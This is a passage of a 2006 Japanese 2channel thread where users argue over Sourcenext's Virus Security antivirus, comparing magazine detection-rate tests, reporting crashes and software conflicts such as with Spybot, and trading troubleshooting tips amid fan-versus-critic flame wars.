565 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:33:10
http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=003978566&RTNPAGE=/search2.html

566 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:34:11
>>562
こっちは遊びでやってるんじゃないんだよ。
横から口出しするな。

なんて書いたらまずいですかね、

567 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:44:20
>>565
そんな零細出版社が出した無名の作者の本なんて自費出版とたいした違いはない
たとえ事実であったとしてもソフトに罪は無い
多分無いと思う
まちょとどころではなくて罪がありすぎるな

568 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:44:39
>こっちは遊びでやってるんじゃないんだよ

どう見ても「遊び」レベルだが・・・
そうか、それが素か!

569 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:53:35
http://7andy.yahoo.co.jp/books/detail?accd=31477734

以前から、ソースネクストが販売する商品に疑問を持ってました。
僕が購入したものはいずれもまともに働かず、安物買いの銭失いでした。
なぜこれだけ劣悪なソフトばかりを販売するのだろうと疑問に思ってましたが、
この本を読んで「結局、こういう卑劣な会社だったんだ」と妙にナットクできました。

570 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:56:02
>>557,559
邪魔です。

スパイウェア対応と謳っているので、最近問題視されているWinAntiVirusに対応しているか知りたいのですが、ご存知の方はいませんか?

571 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:09:18
>>569
前にソースネクストの宣伝的な書き込みに
「宣伝していいのか?」
などと、アンチが反発していましたが、
今度はアンチ側から、ソースネクスト暴露本の宣伝ですか・・・

つくづくアンチのヤツって自己中人間ばかりだな、と思いました。

これでは、ソースのソフトだろうが、どこのソフトでも
満足できないでしょうね。

572 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:18:29
>>571
呆れんばかりの信者側の発言だな
つくづくアンチのヤツって自己中心?
お互い宣伝してるならどっちもクズだろ

573 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:26:07
>>570
対応してるものなら答えは早いが
対応してないものに関しては確認作業が必要なので時間が必要なんよ
昔の対応していないという情報を出しても現時点では分からない、という反論もあるので
だからあんま急かさないでくれ
で、要件のものだが
http://vista.xii.jp/img/vi5547851621.jpg
対応していない

ついでにAntinnyの件については
http://www4.pf-x.net/~zot/av/detect060725.html
という情報もあるのでこれ以上は各自の判断

574 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:30:25
>>572
は、アンチ側のクズということだな?

575 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:31:25


アンチ=ウンチw



576 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:32:32
>>378
>>556
報告乙です。
今後もよろしくお願いします。

577 :名無しさん@お腹いっぱい。:2006/08/13(日) 23:37:28
>>573
ありがとうございます。やっぱり未対応でしたか。
ウィルスセキュリティを利用している客層と、WinAntiVirusに引っかかる層とが重なってる気がしていたので気になってました。
「ウイルス、スパイウェアを自動検知・自動駆除」って宣伝するなら、WinAntiVirusくらいは検出するようにして欲しいものです。

Antinnyに関しては亜種が多いから、当然対応し切れていないだろうなと。
対応していればあんな惨い検出結果は出ないだろうし。

578 :名無しさん@お腹いっぱい。:2006/08/14(月) 00:09:27
ウイルスセキュリティにスパイウェアまで検出させようってのは酷だ。
リアルタイムで検出させないと感染した後では意味がない。
WinAntiVirusはスパイウェア感染率一位。これが検出できなくてスパイウェア対応も何もない。
つまりアンチスパイは別途用意しなくてはならないということだな。
だんだん総合セキュリティとは呼べなくなりつつある。

579 :名無しさん@お腹いっぱい。:2006/08/14(月) 02:55:28

● 主要メーカー製品の機能と大きな差はない

――主要メーカー製品との機能の違いは?

松田社長:正直、これまでは細かいところでキャッチアップしていないところはありました。
例えば、「ウイルスセキュリティ」では基本的にウイルスは入ってこないという前提で、最初のバージョンでは送信メールに関してはウイルスチェックをしていませんでした。
また、1年ほど前まではファイアウォールのポートの細かい設定などはできませんでしたが、これらの機能も現在は対応済みです。

 セキュリティ対策ソフト業界では、ソースネクストは後発になりますが、シマンテックやトレンドマイクロなどの老舗メーカーに続いて3位のシェアを獲得しています。
短期間にこれだけのシェアを得られたのは、機能や信頼性が評価されている証拠だと思っています。

 他社では、各社のセキュリティ対策ソフトごとに利用可能な機能について、○×をつけて対応状況を示す販促ポップを作っていますが、それを見て足りないところはすべてキャッチアップするようにしています(笑)。
 今後も、大手が導入するような新機能は、無償アップデートを通じて提供していきます。

――シマンテックやトレンドマイクロは、未知のウイルスへの対応を謳っていますが。

松田社長:未知のウイルスに対応するヒューリスティックスキャンについては、誤検知の問題があります。
ヒューリスティックスキャンに対応するメーカーで、正常なユーティリティを誤ってウイルスと判断してしまうケースは少なくありません。
ヒューリスティックエンジンに引っかかるものをすべて自動削除すると、最悪の場合、アプリケーションが動かなくなることもあり得ます。
未知のウイルスへの対応といっても完璧なものではないので、弊社としては、むしろ、ウイルス発生後の迅速な対応が重要だと思います。
http://internet.watch.impress.co.jp/cda/special/2006/06/02/12173.html

580 :名無しさん@お腹いっぱい。:2006/08/14(月) 03:26:11

同製品の大きな特徴の1つに、軽快な動作が挙げられる。
スキャンエンジンはインドのK7 Computingと同社が共同開発したもので、「他社製品とは異なるプログラム言語を用いて開発していることから、高速な動作を実現している」(同社プロデュースグループ プロデュースチーム ゼネラルマネージャー・小嶋智彰氏)
http://journal.mycom.co.jp/news/2006/05/29/006.html

581 :名無しさん@お腹いっぱい。:2006/08/14(月) 04:08:48
その意気込みで
結果は

http://www4.pf-x.net/~zot/av/detect060725.html

でたらめ最悪

582 :名無しさん@お腹いっぱい。:2006/08/14(月) 04:38:55
ヒューリスティックを否定する割には検出率が低くカスペルスキーほど対応が早いわけでもない。
迅速な対応が必要だというならヒューリスティックのように見える形で情報をユーザーに提供すべき。
迅速な対応が重要なのは当たり前。Esetはヒューリスティックの上迅速な対応をしていると思いますよ。
というかこれ>>579を読んだら社長の「思い」しか書いてないな。それに対する対応策が書かれていない。
思ってるだけで実際迅速な対応をしているかどうかは別と言うことか。ウイルスを捕獲するノウハウ、拠点もないしな。

583 :名無しさん@お腹いっぱい。:2006/08/14(月) 05:42:49
581のリンク先はそもそもアンチが作ったページ
1年以上前から自分が不利になるごとに出してくる
もちろん内容はいたっていい加減

584 :名無しさん@お腹いっぱい。:2006/08/14(月) 05:53:13
テストの結果ウイルスセキュリティの突出した性能が証明されました
HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

585 :名無しさん@お腹いっぱい。:2006/08/14(月) 06:55:54
1万以上の検体を使っていて、ウイルスセキュリティの検出率が大きく違う件について

586 :名無しさん@お腹いっぱい。:2006/08/14(月) 07:49:50
まぁ、アクティブなウイルスは2000程度だからね。
それ以上の対応はむしろ無駄だと言える。
それだけウイルスを絞り込んでいるんだよ。
無闇に対応数を増やすのは自信のない証拠。
VSはそれだけ確信を持ってデザインされたアンチウイルスという事だね。
信頼感は抜群だよ。

587 :名無しさん@お腹いっぱい。:2006/08/14(月) 08:30:42
VS昨日買って来たんだけど、インスコして再起動
したらいきなりブルーバック、、セーフモードだと起動するけど
アンインスコできないし。トホホ
このソフト、なんかと競合したりするの?

588 :名無しさん@お腹いっぱい。:2006/08/14(月) 09:24:50
>>587
うそつけ

本当なら買ったレシートみせてみろ

589 :名無しさん@お腹いっぱい。:2006/08/14(月) 09:42:15
>>588
社員乙

590 :名無しさん@お腹いっぱい。:2006/08/14(月) 09:51:51
どうせ出せないのにうそばかりつくんじゃねえ

591 :名無しさん@お腹いっぱい。:2006/08/14(月) 11:54:27
ソフトウェア板のソース本スレでも社員と信者がうざいんだよ。
バレバレだからレスしないでほしい

592 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:16:43
>>588
なんで快適に動いてるという報告の場合にもそれを書かないのやら。
ZERO発売当初は酷かったな。
定期的に沸いて出てくるからそれら全部に突っ込んでくれ。

593 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:20:40
なんだなんだ、ノートンの重さに堪えかねて乗り換えて、
トラブったからカキコしたのに、、さげなかったのが気に触ったんなら
謝るよ(´・ω・`)
まあでも、そんな反応されるってこたーブルーバックになっちゃう
ようなことはレアケースなんかな、、くまった、、


594 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:23:24
PC起動インジケータに表示されるウィルスセキュリティのマークの左下に×印が付くんだが…
しかも前回アップデート08/09.at 07:12 PMでいくらアップデートしようとしても最新版ですって…
どういうこっちゃ


595 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:27:14
>>591
アンチも同様にウザいよ。
おかげでまともに議論できないのはここと同じ。

596 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:30:41
K7にしようかキングにしようか迷うななぁ

597 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:33:27
>>583
毎回毎回罵倒するだけで根拠を書けないというのも惨めで見てられないな。
VSの都合の悪い結果だからと言って苦し紛れに喚くなって。
なんにせよ批判するのならそれ相応の情報を出しな。
なんで情報に対して罵倒で応答してんだ。

598 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:33:35
>>593
spybotをインスコしてないか?
ウィルスセキュリティとspybotを併用するとブルーバックになるはず。

599 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:36:36
>>594
俺も稀になるな。
OSがアンチウイルスがないと言ってくる。
起動時からずーっと×が消えないままの状態。

600 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:39:03
>>599
×消す為に毎回インジケータで終了ウィルスセキュリティ起動してる

601 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:39:18
>>593
ノートンのアンインストールは完全にできていますか。

602 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:39:59
>598
いれてる!アレのせいか〜
帰宅したら試してみる!マジサンクス!
そういう競合するソフト一覧みたいなのが載ってる
サイトってあったりする?色んなもん入れてるから不安だ(´・ω・`)

603 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:47:57
>601
マニュアルにノートンはゴミ残るから気合いいれて消せ!とか
書いてあったんで、とりあえずプログラムの追加と削除からは
全滅させますた。が、最後に消したlive updateが「まだウチの製品残ってっから
消さないほうがいいよ」みたいなこと言ってて、ちょっと気に
なってたり、、

604 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:49:43
ノートンははずさない方が吉

605 :名無しさん@お腹いっぱい。:2006/08/14(月) 12:54:11
>>602
非常駐の物と競合するソースは最悪だと思うが
確かあの時はネットに接続できなくなる不具合じゃなかったかな
なんにせよソースは解決済みとか言ってるし、それじゃあない気がする
それで解決したらマジでソース話にならん

606 :名無しさん@お腹いっぱい。:2006/08/14(月) 13:11:13
>>602
Liveupdateも影響あるみたい。以下、ユーザーズマニュアルより甜菜。

「本製品は以下との併用は出来ません。
・同種のソフト
・Spybot
・シマンテック社:Liveupdata
・AOLブラウザ
・一部の通信系ソフト(WindowsMessengerとMSNMessengerのwebcamと音声チャット機能、Windowsリモートアシスタンス機能、ADSL Ninjaシリーズ)
・一部の会計ソフト(PCA給与)
・一部のデータベース管理ソフト(Oracle) 」


もしメインマシンならメモリを1G以上に増強してノートンを使い続ける事を薦めるが、VSを使い続けるならノートンを完全にアンインスコした方がいいのでこれを参考にして。
http://pc8.2ch.net/test/read.cgi/sec/1153343414/9

>>605
うちの2006でもブルーバックになりましたよ。spybotアンインスコ&VS入れ直しで正常に戻ったけど。


607 :名無しさん@お腹いっぱい。:2006/08/14(月) 13:33:31
>>606
なんでそんな競合する製品があるんだ
しかもどう見ても関係なさそうなソフトまで
法人では使えないというのは事実使えないのであってサポートの問題じゃなかったのか・・・
http://hiroba.chintai.net/kotaeru.php3?q=2303157
>サポートに電話がやっと繋がり、聞いてみると「オラクルとの併用は出来ません」と即答でした。
>しかもライセンス購入では返品は出来ないとのこと
かわいそ

608 :名無しさん@お腹いっぱい。:2006/08/14(月) 13:58:29
HPだとこうなってますね。

以下のアプリケーションとの併用はできません
・同種のセキュリティ対策ソフト
・MEGAPLUS専用クライアントソフト「VenturiClient」(WILLCOM) Windows Me/98
「iフィルター 4」(デジタルアーツ) Windows Me/98

ポートを指定して開放って出来ないのか?

609 :名無しさん@お腹いっぱい。:2006/08/14(月) 14:21:09
>>606
おお、スマン。ちゃんと書いてあるな。
ってことはソースはSpybotとの不具合は直す気ないのだな。適当な。

610 :名無しさん@お腹いっぱい。:2006/08/14(月) 14:32:37
>>609
Spybotとの不具合は一度改善されたんだけど、
確か今年に入ってから再発したんだよね。
何にしても不具合の放置期間が長いので
適当なのは間違いない。

611 :名無しさん@お腹いっぱい。:2006/08/14(月) 14:39:51
>>609
スパイウェア対策ならAD-Aware SE(検出&駆除)とSpywareBlaster(防御)
を入れておくといいよ。ずっとVSと一緒に使っているけど問題なし。

612 :名無しさん@お腹いっぱい。:2006/08/14(月) 15:47:15
スパイボットも何も問題ないんだけど。
ちなみに火壁はVSを停止させてWindows標準装備を使ってる。

613 :名無しさん@お腹いっぱい。:2006/08/14(月) 15:57:40
えーと要するに結局、安さに惹かれて買っちゃいけないってことでFA?


614 :名無しさん@お腹いっぱい。:2006/08/14(月) 16:14:12
>>612
PFWに問題があるのは確定しているので正解かもね。
メッセンジャーの音声チャットが出来ないとか欠陥レベルではないかと。
欲を言えば他の火壁を用意した方がいいかも。ルータを使用しているならそこまででもないけど。

615 :名無しさん@お腹いっぱい。:2006/08/14(月) 16:29:17
>>613
FA

616 :名無しさん@お腹いっぱい。:2006/08/14(月) 17:02:09

アップデート 9.0.0086 キタ?

617 :名無しさん@お腹いっぱい。:2006/08/14(月) 17:17:05
>>616
来たね、再起動梨で…

618 :名無しさん@お腹いっぱい。:2006/08/14(月) 17:51:04
>>295
なんでいきなり普通の人になってんだよw
あの職場で「気になっていたあの娘から」とか言ってる場合じゃねーよw

619 :名無しさん@お腹いっぱい。:2006/08/14(月) 18:10:58
ウイルスセキュリティ使って1年たちます。
今回は、別の「高い」ソフトに乗り換え
新しいソフトでチェックしてみましたが、
別に感染していませんでした。
乗り換えは早まったかな、、、と少し損した気分です。

そんなにココで言われているほど、実用上で差はないと感じた。

620 :名無しさん@お腹いっぱい。:2006/08/14(月) 18:28:52
>>619
感染してるかどうかはオンラインスキャンでその高いソフトと同じレベルでスキャンできるだろ。アホ杉
しかも普通の使い方してるユーザーはまあ大丈夫だろ。
P2Pとかに手出してなければね。
洒落で落とした害が少ない原田ウイルスで試したが案の定スルーした。まぁそういうのにはひっかかるほうが悪い。

621 :名無しさん@お腹いっぱい。:2006/08/14(月) 18:30:04


こんたろすの9



622 :名無しさん@お腹いっぱい。:2006/08/14(月) 18:47:52

安い、満足。
現在はソースネクストに感謝している。

623 :名無しさん@お腹いっぱい。:2006/08/14(月) 19:24:34
同じ人物の書き込みばっかりだな

624 :名無しさん@お腹いっぱい。:2006/08/14(月) 19:45:59
↑おまえがなwww

625 :名無しさん@お腹いっぱい。:2006/08/14(月) 20:21:13
しかし・・・ここ、次々とNOD厨が湧いてくるな

626 :名無しさん@お腹いっぱい。:2006/08/14(月) 20:27:38
テストの結果ウイルスセキュリティの突出した性能が証明されました
HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

627 :名無しさん@お腹いっぱい。:2006/08/14(月) 20:51:17
>>626
どこがテストしてもVSはほぼ半分だね
ちなみに前のPCJapnに検索速度の結果が載ってた

XPインストール直後
バスター/55分
キングソフト/1時間15分
NOD32/1時間16分
マカフィー/1時間33分
ウイルスセキュリティ2時間12分
ノートン/2時間15分
カスペルスキー/2時間17分

という結果でした

628 :名無しさん@お腹いっぱい。:2006/08/14(月) 21:10:53
VS・・・これはヒドイ

629 :名無しさん@お腹いっぱい。:2006/08/14(月) 21:14:34
あげ

630 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:09:41
だーかーらー、
実用上は確率的に、上位1万程度の検体で、
9割方カバーできてるんだよ!
他は名前だけでほとんど出回らないウイルスばかり
あとのものまで対応させようとすると、重くなるだけ。
で値段も何倍にも高くなるだけ。

一番下の奴の表はアンチ情報だから無意味。

631 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:26:31
残りの1割にやられたらどうするんだ?

632 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:30:56
運が悪いと思ってあきらめろ

633 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:36:27
デタラメもいいとこ上位1万という根拠がない。
どこから出てきた数字だよ。
しかもアンチ情報だから、とまた根拠のない罵倒。
いい加減根拠と情報を出せよ。

634 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:37:05
更新の頻度が少ないのも新種にはすぐには対応できないから
あきらめろということだな?



635 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:39:17
アンチを満足させなくても、普通のユーザーが安心して使っているから
いいんじゃない?
アンチは、こんなところで喚かなくても、
大枚はたいて検出率の高いソフト買えば?

636 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:40:37
なんで、ここにアンチが常駐しているか?

答・・・自己満足w

637 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:41:41
安心して使っているんじゃなくて
騙しているだけじゃねえか

638 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:44:37
ていうか上位一万ってなに?
何に対して上位一万? 感染率? 感染報告数?
どこの誰がその上から一万体を決めてるわけ?

639 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:45:36
なんで、ここに信者が常駐しているか?

答え・・・自己満足w

640 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:46:26

・・・・もういいよ。
おまえら、出て行ってくれ。
とりあえず・・・・

641 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:49:33
>>640
まずお前が出て行けという話
ここはお前のお遊戯場でも宣伝場でもないんだから

642 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:50:33
で、641はどっち側だ?
お前がまず氏ね!

643 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:50:46
>>640
自分は出て行かないけどお前たちは出て行けー
まさに小学生レベルの言い分ですねw

644 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:51:37
>>642
氏ねか。そこまでは思わないな。
そういう見苦しい感情を爆発させるなよ。

645 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:52:39
アンチも信者も出て行けと言っとるんだ。
荒らしが!氏ね

646 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:56:06

「アンチ多いだろ?これでも売れ続けてるんだぜ」

647 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:57:56
だましてるだけ

648 :名無しさん@お腹いっぱい。:2006/08/14(月) 23:59:18
いや、出てけとかそういうのはどうでもいいから、さっさと1万の根拠を出せよ

649 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:02:41
都合のわるいことにはお答えできません

650 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:03:57
自己完結、乙!

651 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:34:34
>>638
「何万種というウイルスの数が報告されているが、
実際に活動しているウイルスは2000種程度しかない」

http://www.atmarkit.co.jp/news/200501/21/virus.html

まぁ、この記事をよく読めばVSの擁護になっている訳でもないが

652 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:39:41
このようなデータから中田氏は「検出可能なウイルス総数を競う時代はすでに昔話になった。今後求められるのは、新たなウイルスにどれだけ早く対応できるか、そして定義ファイルが間に合わなくても防御可能な技術があるかということ」と語る。


653 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:42:08
VSは新たなウイルスに鈍足

654 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:43:50
VSは新たなウイルスに防御不可ー能

655 :名無しさん@お腹いっぱい。:2006/08/15(火) 00:48:16
VSは既存のウイルスも低検出

656 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:00:18
VSは新たなウイルスに感染する。

657 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:05:30
>>651
1万の根拠にも何にもなっていないが
そもそもVB100%に参加していないVSはそれ以前のレベル。この話題に参加できない
というかBagleに完全対応していないVSはその2000のウイルスにさえ対応していないので論外
またWildListには地域差、というものが考慮されておらずなぜか数が決められている
というのは前々からある有名な指摘
新種亜種への対応が遅いソースネクストにとってこの記事は首を絞める内容でしかない

658 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:10:54
>>657
句読点の使い方が気持ち悪い。

659 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:14:23
>>652
なぜか中田氏を信頼しきってその発言を吟味しようとしない信者
中田氏の発言には「最低VB100%を取得できるレベルであること」という前提があることを忘れるな
その前提がVSにはない

660 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:15:04
>>658
言葉に詰まったら人格攻撃か。またワンパターなことを。

661 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:26:58
>>651
え、君は発言者本人じゃないよね?
VSはその内容を引き合いに出来ないよ。VB100%に参加してないから。
参加していないのに取得した前提に立っているのはおかしい。
バスターだってAVGだってたまにミスって落ちてるのに、そう簡単には取得できないよVB100%は。

662 :658:2006/08/15(火) 01:27:43
実際>>657は読みにくいだろ。
どこで文章が終わっているのかはっきりしない。
言っている内容はもっともだがな。
そもそも句読点に文句付けるのが人格攻撃になるのか。
自分以外の住人が全て敵に見えるのか?

663 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:39:33
アンチは自分たちの邪魔になる者は容赦なく攻撃してきます。
彼らの目的は、ウイルスセキュリティの品質向上のための批判ではなく、
ソフトとユーザーを叩いて面白がるだけです。

664 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:48:07

・注意事項  
必要以上の馴れ合いは慎しんでください
暴言や第3者を不快にさせるような発言はやめましょう
悪質な削除要請や自己中心的な発言はひかえましょう
人間的モラルやルール・ネットマナーに反した発言はやめましょう
犯罪の恐れがあるものをみつけたら通報しましょう。
都道府県警察本部のハイテク犯罪相談窓口
http://www.npa.go.jp/cyber/soudan.htm

665 :名無しさん@お腹いっぱい。:2006/08/15(火) 01:51:43
・・・・・だ、そうだ

アンチの荒らし諸君、分かったかい?

666 :名無しさん@お腹いっぱい。:2006/08/15(火) 02:04:28
あのぉ、何でこのスレってID表示が無いんですか?
ID表示が在ればもっといいスレになると思うんですが・・・


667 :名無しさん@お腹いっぱい。:2006/08/15(火) 02:27:19
ヒント 詐欺まがいはおまえのとこ

668 :名無しさん@お腹いっぱい。:2006/08/15(火) 02:38:43
アンチも信者も邪魔

669 :名無しさん@お腹いっぱい。:2006/08/15(火) 03:04:25
>>667
何言ってるの?

670 :名無しさん@お腹いっぱい。:2006/08/15(火) 04:23:52
>>663 おまえのところの検出率見てると、とても品質向上に努めているとは
証明できない。どれをみても最悪だ。


671 :587:2006/08/15(火) 08:19:46
助言もらったとおり、spybot含む干渉しそうな常駐物アンインスコして、
ノートンをリムーバルツール使って綺麗に消したら、問題なく
使えるようになりますた!

がしかし、、いつもプレイしてるゲーム(具体的にいうとFF11
とラグナロクオンライン)がまともに動かなくなりますた。
タイミング的にはdirectXで描画始める時に固まってるような?
固まると強制電源切断しか手がないです。
ゲームが通信してるタイミングではないのでポート云々てことではなさげで、、

上記のゲーム、問題なくプレイ出来てるって方いますか?


672 :名無しさん@お腹いっぱい。:2006/08/15(火) 08:33:41
>>671
リカバリーした方がいいとおもうが。ノートンはずして。

673 :名無しさん@お腹いっぱい。:2006/08/15(火) 09:19:13
>>671
固まってるんじゃなくて、両方ともバックでプログラムを許可するかの
ウィンドウが出てて返事待ちの状態。
俺も最初はすごく悩んだよ。タスクマネージャ出す事できるはずなので
そこで切り替えてから許可するか、わからんかったら再起動した後に
関係しそうなプログラムを許可リストに突っ込んどくべし。

674 :名無しさん@お腹いっぱい。:2006/08/15(火) 11:17:48
>>662
何をそんな釈明してるのか分からんが、読みにくいってのもお前個人の話で
それは別にいいと思うが、どう考えても気持ち悪いは悪口だろう。
そんなことも理解できないようなら人格に問題があるよ。

675 :名無しさん@お腹いっぱい。:2006/08/15(火) 11:34:49
知らなかったけどZERO専用スレがあるんだね
あれおかしくない? 期限の違いで別スレになってるの?
内容は2006と同じなんだから内容についてはここで語ればいいし
あっちでは期限のこと以外は全てスレ違いになる気がするんだけど

676 :名無しさん@お腹いっぱい。:2006/08/15(火) 12:15:33
>>675
あのスレはいい釣り堀

677 :名無しさん@お腹いっぱい。:2006/08/15(火) 12:52:22
そ、結構楽しいよ

678 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:06:49
ソースネクストのウィルスセキュリティを使っています。

本日、グーグルツールバーをインストールして以降、
起動するたびに、なぜか

Wndclass K7SysMon Ver.1

0x7c950e03

0x55253770

など色々書かれたメッセージが出るのですが、どうしたらこの状況を回避できるでしょうか

K7とあるので、これはおそらくウィルスセキュリティの関連があると思うのですが・・・

よろしくお願いします。

679 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:08:27
ソースネクストのウィルスセキュリティを使っています。

本日、グーグルツールバーをインストールして以降、
起動するたびに、なぜか

Wndclass K7SysMon Ver.1

0x7c950e03"の命令が"0x55253770"のメモリを参照しました。メモリが"written"になる事はできませんでした。

などと書かれたメッセージが出るのですが、どうしたらこの状況を回避できるでしょうか?

K7とあるので、これはおそらくウィルスセキュリティの関連があると思うのですが・・・

よろしくお願いします。


680 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:09:34
VSスレは、アンチとか荒らしとかが吹き荒れてるからな・・・
ソフトを馬鹿にしたり、使っている人には使うなとかいうし
まともに使い方の情報交換もできないよ。

681 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:17:53
>>679です。

とりあえず自己解決しました。お手数をおかけしました。

682 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:44:06
>>679
ウイルスセキュリティはツールバーの類はほとんど不具合を起こすから注意
このソフトを使っている人はツールバーを入れない方が無難
自分はヤフーツールバーで同様の不具合を起こした

683 :名無しさん@お腹いっぱい。:2006/08/15(火) 13:55:55
>>682
知らなかった。
俺は2000とXPでGoogleツールバーを使っていて問題は無いんだけど頭に入れておくよ。

684 :名無しさん@お腹いっぱい。:2006/08/15(火) 14:01:22
うちもyahooツールバー入れてたし、ページランクが必要になってGoogleツールバー
に入れ替えたりしたけど、別に不具合出てないけどなあ。
あとはロボファームとかも入れてるが無問題だ。
とりあえずVSの最新をHPから落として再インスコしてみたら?

685 :名無しさん@お腹いっぱい。:2006/08/15(火) 14:25:44
本屋とかコンビニにこういう粗悪品売らないほうが良いと思う。
手軽に感染できます。とかいうキャチコピーなら分かるけど

686 :名無しさん@お腹いっぱい。:2006/08/15(火) 16:20:14
お店の信用を失うから陳列やめたほうがいい


687 :名無しさん@お腹いっぱい。:2006/08/15(火) 18:29:23
>>686
そのお店の人にアドバイスするといいよ。多分、失笑を買うだろうな。しつこくやると
警官を呼ばれるから注意。

688 :名無しさん@お腹いっぱい。:2006/08/15(火) 18:37:33
ここでVSを偉そうに叩いている奴らも世間から見ると胡散臭い不審者同然

689 :名無しさん@お腹いっぱい。:2006/08/15(火) 19:07:13
単に売れればいいという方針の店では買うのをやめようよ

690 :名無しさん@お腹いっぱい。:2006/08/15(火) 19:30:46
そうだね
なるべく安い店探さないと
サポートはどちみちソースでやってくれるし

691 :名無しさん@お腹いっぱい。:2006/08/15(火) 20:12:04
そういう意味じゃなくて
セキュリティの意味を成さないものを売っている店のことだよ

692 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:01:25
何がアンチをここまで必死にするのだろうか

693 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:02:47
【みんなの目標】
子供じみた意見に、子供じみた反論をするのはやめよう。
感情的になって、我を忘れてはいけません。思いやりを忘れずに。

VSを使っている人は、機能や不具合などに関する質問・回答・報告だけ書き込みましょう。
VSを使っていない人は、自分が使っているソフトのスレに戻りましょう。来ても良い事はありません。

694 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:03:29
なんにしてもそうだが、「アンチ〇〇〇」って、
どこか人間性が歪んでいるから

695 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:18:47
洗脳されて欠陥商品を売るのって、
どこか人間性が歪んでいるから

696 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:23:00
>>695
日本語変!
やはりアンチはおかしい

697 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:29:28
既出?
【ネット】マイクロソフト、ウィルス対策サービスを無料提供を開始
http://news19.2ch.net/test/read.cgi/newsplus/1155644155/l50

698 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:51:47
>>696
元の文章がおかしいからそうなっていることに気づけよ・・・

699 :名無しさん@お腹いっぱい。:2006/08/15(火) 21:53:53
>673
いや、許可しますかウィンドウは抜けるんですが、特定のタイミングで
タスクマネージャも出せなければnum lockすら反応しなくなるんですよ。
